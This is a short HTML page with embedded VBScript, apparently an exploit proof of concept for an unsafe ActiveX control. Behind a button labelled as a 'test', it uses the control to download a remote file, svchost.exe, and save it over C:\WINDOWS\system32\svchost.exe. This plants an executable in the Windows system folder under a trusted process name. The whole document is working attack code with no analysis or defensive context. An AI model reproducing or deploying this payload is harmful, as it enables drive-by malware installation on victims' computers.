<object classid="clsid:A1E75357-881A-419E-83E2-BB16DB197C68" id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   dim remURL
   remURL = "http://victim.com/svchost.exe"
   test.Open remURL, True
   test.Save "C:\WINDOWS\system32\svchost.exe", True
 End Sub
</script>